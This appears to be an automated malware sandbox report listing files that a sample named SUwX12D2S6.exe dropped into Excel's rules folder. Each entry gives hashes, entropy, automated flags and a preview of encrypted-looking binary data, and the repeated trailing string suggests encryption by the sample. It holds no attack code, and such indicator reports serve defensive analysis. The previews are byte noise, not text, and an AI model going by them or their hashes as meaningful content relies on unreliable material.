Preview:	<?xml.....e.3.z....(0.x.lN..N.......v\...X....2..Y....3.....@C............SrTI..H.(..=...Z..A.,.I.{3..Gf2k.@.>....[.k..........<..K..\|.EST.M~$.... Q.m@....,...D....=..(.\|^...2\....UuX...:...+.0f..@ -.].k....NTj...7...Y.K...~{..z..>E.;..&.b.I.{d9..'<.)Ef..}.5.pV...L8V^E..uDG.:r...q..(.\|.@..@.).L".....!......N..q...zC:..y1..;..?.k.+G.~8cC..IV.`.........4...i...6Z....Vb.\..\dz...WK....(`&s?..9E.Q..Q...wfZ;6.....I7..H4...C....K..8...\|.El9.2........n../eb....n@.'I!.1.<......_\|..Z....{6kk......<...H.N.......`Z.m..;.1.9.}...C.I.^....P...N^.__E%..5..R....f.<.[..XWs.o].[(......\|L...2h0o.u....<=0..R.u.u.-ah....X.by.Rn5.u(m.y...t.^..=0y..D........W.pBO..=N#..ot..r.{.a...K@...#.._E`..'.O\|...:......,...TR.A_.wm6...H...X...i"..R......Mh5(.....+itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170070v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.72536266021808
Encrypted:	false
SSDEEP:	24:z0k6v0opZdOHGg9T1bqCxfneKBP/LN6GWCOWkGVbD:zqpZoHGgN1bqIHNYgOdGFD
MD5:	860C927262633F6DFA21AE054B64017E
SHA1:	ACD74AA057F770A0AB032C12ED34291C5BAB4F32
SHA-256:	F7BD36E348EC96E70B6CF8F3B34503AA91F4C41679EE78694F61526F80CD2521
SHA-512:	9A2785C77D86CEDA1967FB71C3EF9C88E561F6132FE921D37AAA6EF08DC04AAE5D32D6FC42A404A483F8FAE4DB2A03C8712AB7925D36C68064C39BABEFDEA724
Malicious:	false
Preview:	<?xml.,...%..B7.f.9..3Z2.o...{.d...L`A...h.$D.?..b' J.G...$.\.]...Q.w.\|G.v..i.9?OG%.X...K.Fl.S..a...8.b.@.<..n ..0.2.?........Va.Y..l.[Z%.w..\......s'..^...a./....1..sZ.e.Hd].v....D..).U.......L.'.E........?9QK.E!..X....;.~b.P..d.%..............h.=NQ.^d....7LE....{.Gg7..,b.+U..=P\.D44...dO..\..&{s..^. ..a..w...............\|g...^..]!...I....8..a..n.n..M...t.A..@.....a4.Aw...9...tr... ....\|+.@H....j...".,;.b!.[....5..yfAq.9. -.VboI...O .s.....S..Z...e4Zft6..}.". .........B...G.$.........N.%..&$3...p..BI.....h.OeO.^1..]E.8G..Me.a..Z./.O...q.~.V.&......5.&7e-&}...n.@.P.")..KS...(......x.....D......<.=.......5..`N...T.J.H....wi.....{...H.../..\|.->/......u..\|aI...B.S..Y.\|.v..vhP.y...I...8!..f..v=..j.X.x...e.LeEiW.Z.M.Nj.g...BEY.....PFfk..[bT.......m.....vI$.iitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170071v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.817779235471666
Encrypted:	false
SSDEEP:	24:PAzS0g3Aqpn7XxjaFT9jwUcEDDSzgWPYzQrF+VbD:mS0O8F5jFPS3PYzQoFD
MD5:	8AB2F2C0298C6D191288E829430482FC
SHA1:	544AFF077205209D963AD746439B1BAEF7F6B159
SHA-256:	B147769DB4AC3BB53A7BF01DD20C311C54503D81B33EA147BE72EE4919C88F7F
SHA-512:	5A3BE5FC725CFF6CF9A810BB740F9A975D2219FFF355E805E5DAD3767A003D0954F404240D5E3C6CE0F3F2B858D4CA347BFDA9040EBC29D777E23DE2C9B24F3C
Malicious:	false
Preview:	<?xml....%...q.....\6..s...u.p.r.F.e.y...9..........z...{..{\|do...5.........7.m.)._..n.@.........I...N.2V.d.....uZ>j..6..T=.`.Y....h..yM....'..\...S.f,0_.1...<.6.`...tS...~.%..~.o>}........._.wh.._.z.y.........q..E...7....8..i..k.HHj.Y....IM.z.b.F.,.=...^..k...A..].6h.!.n.....l..G....R..K.?o...{.E]..s)..C.._.J..l=..(8h%.........:..H..F~..%..BZ...sZ..W.E...X.#....<6......e.iq..~...3....O..zNC.5...^..x..as..p.y.{>..b..c$2..k..N...kD....G.h.3U-.Dt..a*a.e.q.B.[+L.S8rv..i.....H.....D..'...9..{..a..IAs."S..#.W.@........UZV..I).DLh......C..-..\|.$.M.[..3&x'.. ..W?..7...f.Z...'....:n..GE..h.....n.1..\|.....l=~....Y.\..7r....M..e..f..5.....u.c.j....YN...Y..J..;l.Q......r.../.eyv.6...RG.V...\... .(..w..&P.......}9..+..W......ed^..t..h\..g....%.l........8~xI...,.....~T.`R..m1...$c..{[.L.....%2t....v/..A.R..c@...zS...q9hLC..T..$....Pqb....Vc.d..J..@C..'..bz..`......_<.wG.......LER.{...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170072v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.7044441857393275
Encrypted:	false
SSDEEP:	12:wtTtYF8s5Cj8gS+Zyf1OjNC00jTYLVLhxU+KPfNysDr3X7qKESyvA/Ia6NjVciik:wtTtQT5Cj8gpAfEjNCpALVLV4ysDrn7m
MD5:	C8C239B1BC988A704C5528857CBE5DC8
SHA1:	15E1356F20F4EAFE06201511CCB682598EE8A7A8
SHA-256:	D2D0B92B6257D266E077396AB80C61EFC2FF68630C1464512C8F8E1A0DA96F97
SHA-512:	9B96EE9D4852718723E563ECF33D9C09C19F9339842B2AD58BA4EE7FF7513B3062EABE27B4FED3E61CECFADFBDEA756292D9A69FF46DC5333650FB667AA04B9A
Malicious:	false
Preview:	<?xml.M..........@.y...~&.:....o...i6...a......K.e..Y.Yl....9.../N../..../;.h.......jI... ..q.n.X......!....8bLM....~..7.Cl.5.@....1.....g..P!.Q1.h1..w7s..L-X!...O..a[g.........jea-3....sQ...lw.9.g:.A..j.).......K..k.m..C.[d..<.ScJ..A..nZH...8-..3.j.]+d..........n.\|....[.........{........%.q..+Sw.e.=..^kzP.rC.0...J7... ".gK.f8B..8.efb... ...B._.o5....3.zT..j.....^-.C.......&.b.2..S@IjU.C.9..kF{{........?.?...rM.........i(..ercL..\......#.9...p<...^.....W!.}.M...3./..RuD."..........+.0..a6.@.u...2I#eu5...oy.Oo....AZ>.w...]7p....jY.f.\=u..hGq...N.h....Ep.>e..(.M......C}X.a.{V...3...**.\|Ym.....(.+.HfP...?.6U.n.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170073v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	931
Entropy (8bit):	7.792058682197274
Encrypted:	false
SSDEEP:	24:YeTYF575gAWOzsRgVnurmoRF8Qc4QRrNqkLFCdnVbD:YeT675gQzsK5urHc15q+FCpFD
MD5:	16F4C82C30296058E0E1A74BF63EB21A
SHA1:	928B574C43F4AB0B90A5EF567A6AAC12E465D00A
SHA-256:	DAA8C19AE15C063E1684276C8B440102C0C32E3B5521A2F41F76B4F2364CF743
SHA-512:	BC95AB8C017745A319BD794C4E368CF9ED170756E30DFA770AF28F9C575E4D3BF510470429BAB9604416F1E63057372F556C8D003CAB8E576C1CA1565D7272BC
Malicious:	false
Preview:	<?xmlo....+...........O.. 3..;h.../...M.5:HT.A....h...n.........[...D....._....{M...b.....l..7..H)c];.~...C..1....H.]...{:]..5..\..~#/9.....\c.{....e..\.RQ....!.=..+...........w...9.nc+..Q~.~.-.J...055 ...w...In)?..L{...<T..2.6.t...J../.w...{.)e.V...S.7.>4........$QrG.K\.W...eJ..Q......W...[F..K.4T....B..wf.U<r..b...Nm..tzW..]%.T,.m..f..5c.Q....po.Fk.n..X.....0.c...z+E.JT ...-I....{..Q9....\|..4s?..{RQIo.@...w).s#l.A........,&....Q....D....\..@..&.$&...s.Yt..X.SP.......{....0O.X}.?...!..3\...2...pj..C6r1k/.P.F.tp..f..K....dwU#..... .../....='(}..&....c}._.....\|0........Q...(..M..U.n...M.uWr^..i.......~O...l.4.A...Q....GF.].g.s[..2?..M.o..G._?VD.s[C..\|...!.X./...%.Ulm7.../rY.?...*..LeA.^...Z.-..... ~..8.......h.(>....u.'...6...L).[\.....".E..v.!..am....B;...K.t.....~]....;.kz8..:..+kH..h.Z[.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170074v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.7722141951992025
Encrypted:	false
SSDEEP:	24:IxCtW9NB+x+L8dVPObn4DxPH0Vy+3fQdTD6VbD:IL9NHLyVbxP0VyQnFD
MD5:	1B50FF6E8DF8650090A84D915CCF6BE0
SHA1:	E3C20B9F94A3D040F8F1E12814803EE25BE93C4C
SHA-256:	4161391531663DA985EC1087094BF43EEE3B127F284831D8CBF2FE57E3C0E670
SHA-512:	6A5CB42C0859BC2FF27AE391F49AFB1F58ADC1951F9D7A01F9E3C335010F837149324E635777098B1DBE381EA2778C352795C35929F8C4A701DB439FBE4FAE16
Malicious:	false
Preview:	<?xml.8...uZ.5Z<.5.z4....E'8&~D@....m0..........g..>.Q.n1...}.....Tx....n...0`.D.....3....g......<.+...s....Q..jA.[.....L..R?.D"..4...H....K+.G...U..hOD..M..GH..M!I..I.._.....k.5...:..RO.g7.....@.`#..<0.." V..z].#Vz....$..C8s.vI.0.X..Uc.F..]...<.%.....e ^...(=....@...*u...\|.....n}^.{.......H...2...D.....[....\|Aa.D.I:....&.u........F...M....._......w.^_a.)a...%h..4.<n)."....~=N...i....{6}.z5.....y...H....<3.#...0............k..SZ...</?.e..G.......H.....m.....P?XoG..MI.dR....Lr.4..=.....?......>.G0o.1<.;a.;.u.IU$5&r..yC..=...K..0.H._.[....n...j.PV.+4.....?.j.n..('0.}........^.v(........C..{.{o..X..R.....\|.;....j&..,0AH6.H...k..&WGKR...[JdP....O...-......gy.{bg..sK.P.......=B.g.hk..9.]r.p.F..)0...Ly...C.x<.?....x.."W/..>....X.;.=u...,.$.e..r....$KVq.Gmf...<..s.D..P...>...>5......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170075v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	7.868291724613357
Encrypted:	false
SSDEEP:	24:kQSai62PdLyolI5vPiRMKooOIYWOAMNeQc2M/Epa71/7vwKEAliBVbD:jF2l5I9aeKooOCOFeQ8/EpC1/DwKEAo3
MD5:	01052A968CB1B64B755A993D42BEE259
SHA1:	7F2F3164F41B269F95E5E1A6D1800DC1BCE2E842
SHA-256:	BDA3C2D73CD418B41920FBA22B87FFC90C5D68AC4EA490BE8858320FDA981A6F
SHA-512:	8AD85072010DC3D7B781EB05F44F6D400B15D5CE3EE0C584A547F37CEF4C16A65234549B203B9668F5FA79EA5C19918C44818618325EB7F6164F654F9C69F0F8
Malicious:	false
Preview:	<?xml.qh`.&..P.....<.p').>n.I8.0..K'.."F.n.(jd..dF.~..... ........s..}..x'e..v.n.1I.7..MM5..J.....uj.....&.I.61o......YO...m{oP.....[\K.......k4...f&.j=..}..\|...3..C.D ...I--.PL.t..X.=G..pv./...R....u.....AXC.z....G'D./n..n0;(..].'...d78;.....H....._.U.\|......L..%.!..l.t.Rg.~.xK$.....PU_.e&..r......(:T.T....#.k.n.M!.Bp..M)4_.!.(...[.r.\r.....C...l.$.......h...wf.C.H.B....b...... N..._...@y......=..D..............$IZN2.....e.$t...!..f.9gf.......g..J.ns....";g...........+.%...5.M.D^.L..CS6.4{......Q...ep....$..7z.V..#..p.V.(U.=..m...:.i.@QQi...g.X.W~.S..>8.e....$e.m....'V.\.....4.a......Z`...!1......M.I.x\|./.=....Py..6.h;....?..\|.+x.a...I.>..@e....<..7..g.V..5.x..7Z.n9..._....b.7G..yI.[.j.`.....P.+.#...S..~.n9...93.>4..C.....E".4.-.^.......cCm...0..E.K...e..d+q..iFt....ZNS.{hr...B...R7.......Z. ...,........%.....-+...........<.g%mRA..n.&.".....F..2.o... ......-...z1F....{.E....8...H...xX]#.......3.>R".Rp.,@.g.m0.Xa..kO.!w...O.....Y[ls.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170076v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.635478652264826
Encrypted:	false
SSDEEP:	12:ecIBNveOiA3Bb3qMIosqjGLBvd6HZbGasCOAVdbX/Fc/uiUjVcii9a:ecIXe303bIzqjGFd69O8hX/FcSVbD
MD5:	86EE1DC78BCEDF11473CB9F2E2303D8B
SHA1:	6B46B195B66B7C64CA45EDE2F6C2D72C5FC2D6ED
SHA-256:	80E21C49B64FD33AB409D50AF3B01757DE234EEFC4923F0BF44AFAAA99BEC7F0
SHA-512:	282DA86CA28BFC58187C0F2A80E3CC781E97C408A0D240B6D3A06FC2C486B99905AAFCFEB968927A11752B01AD159E53041AA124C881E8ADE726DED651DBAD49
Malicious:	false
Preview:	<?xmlF...%...m.kd#...... E.M5....p_&U..g.M0#f:.4)....O...@..X0..i\.m.xQq..L...1.DS....tT..J.....6[2=\|..:....m>#.....6.....!....j....F.T5.6...g. .]`....^@....G.M.b..7.A.T...B..Q..H...'.....d.3.h... ..s...WjQ...:..>0u...v..;.....\|.k.........-}Zh;.~).8...{`....\.:.-..c..1.....E..%-......y%f...l.4-.;...........>./.p..C..[.G.].........A.q^....ht..63.."......3v.P..]J.......L.t.....k0.."`...@.lv..o..EP...Z:..]a..@..<...I.38h.5".%..I4]....u48....[.)...oC.\|NB........h...}}.i..........X6.TeT......GZ.8..k...I.J6.?.'.t.M\....x.6..H.Z...6@d.....%.`..dxx.F..BuI../....+.....=9^j..0.j.4.`..7..WF%.T>X.1...5..zT.JHitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170077v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.698624911840948
Encrypted:	false
SSDEEP:	12:KWEg3DTiRK9NqgfJmIRt8HYLawn09ZvxLCAUJ/+DOiWepx9x2ilo5K2URMwrMnVY:KdMl5uHr9Zvxf6nqx9wGo5iqwYVwVbD
MD5:	DAB15F33F6AB85114F86F6A08035EEAC
SHA1:	FAC42BCD136B74330457B07A81769A65FF5542ED
SHA-256:	3127ACE6B179ECED792B5FF0D91B8A05861A39F83F7B74ED452F34354449E547
SHA-512:	BF718B1F83EF3C4304F8D4707B28F0D4F215C832D9F40929D38D955EACDEB9CEDA039EDDE3AD91BC4EF51B576A0B3C2F0DAE3BBD4C57E667C050A7EEBD3B1088
Malicious:	false
Preview:	<?xmlkzZ.g.....f...4.H..A...Q.5...8"R.....a6x..\|...'....d...4b..X....'...#WL. i.l...d...r.....B..y.Y._.SN...%.4v..Z.....fJ..7.K..2\...=QR.....G......t............Hd.....s.'..X..{....>.........c..4}.a<.H.e.EV.P.!.L..:..6%.[...o...X.pZ..:._^..B.....@._o.X1....7...X.H^l...f}.Y5..yq....e..+....e....F.....A.SVL..\..../.y..,+K"o`vW}.qW...b...s..P.$...o...ale]7dwd...l0M3z`.r....y.....srk.S...+..(?....[..1"..L..!..".v7....8.Z.}...D..#m.+\|V.;...B..n.\|E.W..X.....t.,......&.].y.+...VC./0.....h....1..#..N.....f\n.pD\j[.+.'r......]Y.L.._...R....^. Bj+.H.[.C.....0i..^F.y.h..s.%0d...b.N#}0.E7..,B.....7..h.~.....t].e...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170078v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	817
Entropy (8bit):	7.751711724199376
Encrypted:	false
SSDEEP:	24:nC0ffP9RNjCqpteqm56E+Bweap+Ay2VbD:DXPFlpteqmkXywgFD
MD5:	BE960F5896D818907C9056AFE6B6C352
SHA1:	2AC60305D26C6A747BAE5B66069301B96373A88D
SHA-256:	D19997A593AD26E61F9866B4163BB94169CA875603E39AE3A23700F62AA9CFBB
SHA-512:	F259F9C413B4772A0A23432F787F228ADCCC00E8B7D3C8B55C76C79694274C26B1DBF096A0E0B34C99E72E1AE8E4D5D2C44BD996E366511E038BB912806F4D6D
Malicious:	false
Preview:	<?xml....y....)...\|...^...\|mS_....lB....h...q.[@).p.D.S}..R...~.......s...j.'.90..S.,......9....@i~\|gKG..oT.JXuW...j..y..aXS....!m$...z.-z..&..g..5e..:...g..`".{...$.\..d....y..0r....XeK.a'...<.kQ.......S.27..."i.p..G`c..7...U.........<.Db~.,..8/...cY...u..-..AV..B..P2.......2..5rN.Jl.".h.1T...>z4....e..4..Mmv..U..K..T.=k..@ZE...G0.....p..0..8....>.l......t%.2.....W....%..am.p...... ...'t.i.N...........i.`{ZO.@.....O}...ME..x......]...).`!.u....4\..b.Xp.w..9].s).W+.....I....!..........`...(.@P.@zA....Vq.t..`w.R.b.\...q...E.........l.c..F..........qkK/.TUi....[5.O........9...>....}.C....e=..:i.+....'..X.3..K'..(....v<(uG.6....Md..."......c.<..{(8#.=...r4r....?O....Bu.Vx...1.Y....\|.;jo.O;......Sw.Yitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170080v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.739217942067262
Encrypted:	false
SSDEEP:	12:GSAMdhxnWLHV4UGMUI8jg36d22xdduY3hZB9Oa78np4D0R6e5jVcii9a:DAeWcm6d2WdzxZB9vQaDaVbD
MD5:	C7E81C051628141968B9C82E7F90F6FE
SHA1:	1F42E34541A6768AEC1EA7A7B82C7B88D9117607
SHA-256:	0397A405DDEE0ED342FD03F8C15D415CD67D7B4218322A814754E801AD7BF138
SHA-512:	039B6208F05D6ED8766DECED900D8DC4480F53C356E12B6BFFA8080D8359B4CB6922C93BF860E8B96F85D0EA4391DEBB8105E88CE69E8B50C9507FFCB83E7E95
Malicious:	false
Preview:	<?xml~.7.R.q.f%5p.....q...u..i.....,.Y.z.9..e..i.......`.2aU.3i=.5......o..j.1g.+..O.....x.V.j,.X.r(............5.d...a.P..6....Q1}L./Q.@@y]>......-.l.....%....^V!..3.H.....{Yr.M.s.m..}..+.....Q.....i$.[.jZ4.<.c..h.%.<.$.^VB@D.+.x...JS[...Q.!v..9..?x`.:.K#.].tx7..._..i.:@b...:..a..o....Ta...........nO.o.Fa.t....(.B.O.....)....A.......BS(...F.&...~.Og.....{....-. fS.A.~."..jWj.CLs..\Be.c.!..T...P....Z......y.6.0....."\.6.N^...O.} .U.S.M.I2{W.w..L[.V....`.t."..........t..O..D..s&%\|c.5.\|.2mp......D&./...3....}A...#...R.7g":.%.W...w.$...d._.....>i.7K!7\0......Ed...<.>........E.....}1...(I..D..K%..<U.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170081v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	7.782566754456188
Encrypted:	false
SSDEEP:	24:AM6gUR34DPDt0NVN51nMjkztW5SjDScVbD:AM6ggmGNVRn+4t2qOcFD
MD5:	28A623F71456F3EA10857F9EF9BEFD74
SHA1:	B6A7C817B9E12E6CB99FF9EA8366D8CAFD975ED9
SHA-256:	67548C8266421296EEC4535B4FB2CE5B3293C68CA16A775243227CB4E7DA40C7
SHA-512:	3B3AA6C7D6744983C4D798BC23713B7C6A78DBD73C8EBCA488B1407DD4E4832C182B8372059A1CEADABC45503C3F5661C3FB7B783E1F73E971C1017A0E91517B
Malicious:	false
Preview:	<?xml=.R-..D^kq..w.O?K........./.....3.S..M...6...;.......v..V..EkPS..88.........-\T$........g.bf.-.N.[9w....ie.....M.D..,...:P...8\|b4....Y.6?M..R...y.Q..r.y....=.X....)....D.#...x....1..j...j.i.HX`Y..6.....p.b.L.@..r..qr....s..:.k,....Z....+.k.b5.n ..x..[..\|..V.a9D.../....o.y#........[}#) Q).N../6.!sb.W..'....:o.k./z...TA......V..KR...R.%.v..wMXTuP...L.o......o.0...q.y.....C......B...[A.g.\|'iK...e.ncTm.8.!...v6RSC....\|n......r#t.x.k5.....?.z.[.q..<...fq...z..H......=........o..#.nL[..\|9=..i......&...'s...._~.1l..q...3.a~.,8.+p.(...7.+.'.;.m.(..jt.{".].\|....A...I!g.K..........Q.C.Ux...F...b.a....^O;..q.S?.....q.,..!^a..~.o..PL.h.5../...eW.Sf....Q......:..M....../....t.......A...(.LH.YA(r.6...w..q...}.:p...Wa.=_{.p..~E2.o./...w....Rn....i@itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170082v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.721988901431864
Encrypted:	false
SSDEEP:	12:ANfSqYrJmoA0SyseYH/DPP+3k4DuiX9Wi1zKfWpuACcAPge5Et/R5JYTnixKei5/:AUqYdU0SynYfDPP+U45XxkUrR5eix/iJ
MD5:	64E5071E8BF4C9A873592D70F1937362
SHA1:	CD4C01A40DF637DE833D420D4F9403A62F649A79
SHA-256:	6C23C314A409F981BE39F63B73336E589E9E8ADDE24BC58E136B044845E2F88E
SHA-512:	EAD2EB582E5EFA137708E625D4FCB5C1C1199D86F7EEE6ECEF44C128DCAD3781A6412618220772863E5F79C034D73B7960852BE54A9A0A174DC9D01C537180A8
Malicious:	false
Preview:	<?xml=.R..x.~..o.,]u.n...j..6+gZ5UB...1.-o.[......... ..v..Z.C...q..y.......3.oz.}!.Ae.7../.5..<......^..{.W..D.HqLX........J...@B?.U.L.{f4.B..Y_OE.Q_!..[.xCy......r..k.F...+..z(.)5..m..53.'..n..W..=.'DW~../.....i...?..9p.......2>a....D.~.Hc-.~.:m.DI..9..f.......@L`........`&t..>.~\.y_..y......;W..@..2u`..9...W..e.~...;...1.V\|...&....A]."c\|....9....zL.&....U.r.^O...z.T.}..3S..Q.E....T..._/........\|....3O...n.\|.rgW..K.....O..IV..IF#..3;..}..QJ.o,>..Iq_\v'..M_.0).B.:..1.D.5....^.Q...g.,.{;.6(.......!D..`....y4/.....J..V(.`T.9..d.\......Kv.s....D-......l......".*..v..Ba..{l...;Y.....G.._. .Nfm..?.B.......#S.9....i...........)Sr...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170083v6.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1421
Entropy (8bit):	7.8672894542501535
Encrypted:	false
SSDEEP:	24:NG0kw3jmnTZIDDlCrHbzsHwNNOfGxEthw4WTX+STI3aG23WWUtjqJVbD:N6+j6VsDs/z8MKDVWTX+mIqGqiGJFD
MD5:	2249416DF1786D1FCD6667FF309EB070
SHA1:	ACA60D0F7823979B88C7A8C707F2700A62D77D5B
SHA-256:	BF29F829EDB2CFD9FFDD6219EB0175AF61D8317BE0FD2C5B322BB7CE80F68C4F
SHA-512:	4EEBDAF69A092068E89EA968CB78F3BC130809245211EE77994C49B66521451840DB8A4783CC4E905A938680D47525FC5F24199BAFE3A0B418E622C56E0AA459
Malicious:	false
Preview:	<?xml.%...k. .?......]8.>x.....~p...>3..N.=..0.<.Z..J...)0o...J.q...`.....S./ m..i..X .....FC.6........U.>.h...i....b...........?.t..}.j..tw..}mZ.XU.p>..bYxx....N.......S^o.@....x.E.l.........?H..k..6...x.d..R.S.@...S....[7."..?.=..d..c....".C..H...~...\|.=9`..L.9p.}...N...QVI.F>@....0.r.P...%t".......y...A....6...2.\|........ . .....@.Z...bZ......(...y[.Re..h..>.. .Z!.J..D....+........F3n.MUp..f....q..+]....Izu.$G.b.......2..G.Ie%.....L.i.......&.. .#...[..!.......!....Tt..OqiM. ...m..B4.g.....LG..'9,.d..y.9.fG.v.q.,...%..oVy...Z.;.`2....x.5..z"9.T5..Z<-.Ow.O>..#)E..g[.6...@!....f....1P..{..vnj..BXkJ.`.m....OG./....`..N.cT.n.UJ..4O.1..s..A...g.^....1?..)%..v.!..`&>..>....>....)D...'..i2..@.A.....,....Q'.<.?..R.u..u,......d..3.........H......d~..Q.X.e.......Vu....Jf.~...;7x.\|...!.a...f.....(.O....!&.j...}....k..x....i.kt...M...\..38;.......L..P.^H]s..(=...~....[....=....v.o....V~x..G.(......u6.....b......K..?...('3&0.0o!`.i.Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170086v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	7.823360823087082
Encrypted:	false
SSDEEP:	24:i+Go3NO13qyJkyS0FLRZPZg3WTg6d8ixm5JNoufapOuYa5RscVbD:tGoiayJkyS0XZxgobdJm50MJvcFD
MD5:	D90F8711C4F79E1833967CF23CEBFFB5
SHA1:	699F5BA894DE6D50639C321A6504DF1E3F22470F
SHA-256:	6271EF9B68EB60C59170FB26735BA034996C3872FC3247AB2C11D2D27A673026
SHA-512:	FA558EA20471DCF1BD280A288B93584AD7738AF63A98A21C0998A6A2DDFCC0E76BE6079B43AE048FD37A284C9FA7B527F0692C8621868FCD9FA947100E874514
Malicious:	false
Preview:	<?xml....8jeK..Z=D.d...[.....F~#k/ZBQ.JT4.v.....-)..1.........$............KI.u....G...LZ.my..]7.....;..t......./>...~^y.....i.....o.f..W'..f...f....H....T1P? .25n.z.e0..vP.~h..q.....E9.r......R....4...lh..u.<...{D'[."?WU.Q.ju......;F#.....j...%?..^.N..^.7.C.@...e...\|k7by.$(..:..@.e.j.\|-..._5._...L.O.w'xM#.m..x......z.....x.O.`..Lx ..9.DF.....q4....a.-.3C..H...G...{.=...I)DM:..4t}Q;.t ..s0..j...e......&p.&.u.....4.s.\.Q.b.s........ZqB3#.C.w....[....T\..\|\|rd......6[.X.`.-..d..."..P..J..\|.-......\|.............z..L..}-._(....}U.:...5.g#..v.>..HU.E.V...".......DaI-.)e.....I..1.<...........4<\|..~(^.7....,1..20,7.-.;4B7.$.i..A.H....>...-..o...m\.T........`...p.....Q.}.....`N.vog+@..6'.....e....j......>..GP.....m...1.T...Ig...U...8...;..~.....n.j.!t...Q....<...&.L.B.K..!..A...C.!.....[.4.=.0.yP...\..n.3....3..c...,k}."..=4]...!.(p..N..S...LY.'.^;...?C..C....[...Py<....&6.w........].oD.P....]..\|........ ...==X.j......Q....K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170087v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	7.850890709481261
Encrypted:	false
SSDEEP:	24:J2iWX5eYPDmRWpcEV9jQT3CZIevSdhGdzNhwxaHNVbD:J2VJe/opcIODrBxaHNFD
MD5:	C3FDB98E4211CB32BF6EC7F46EC543AD
SHA1:	1B78FB3BAF2AF7906733744DC72B995488DB4C37
SHA-256:	F2A4366E7E17B2E77BE457D66CF40DE9CAC0E166D2EDF24BB8902B6AF917BDAA
SHA-512:	F9B0503F65C6C1A8A4AE67134CD4EAB31CC4F9CDA6DFFBDB5A49A0A49B45C03760E4EDF99671E437863698DEDD0F1E530A2BE405C5DDB7107562CB64075C6DBE
Malicious:	false
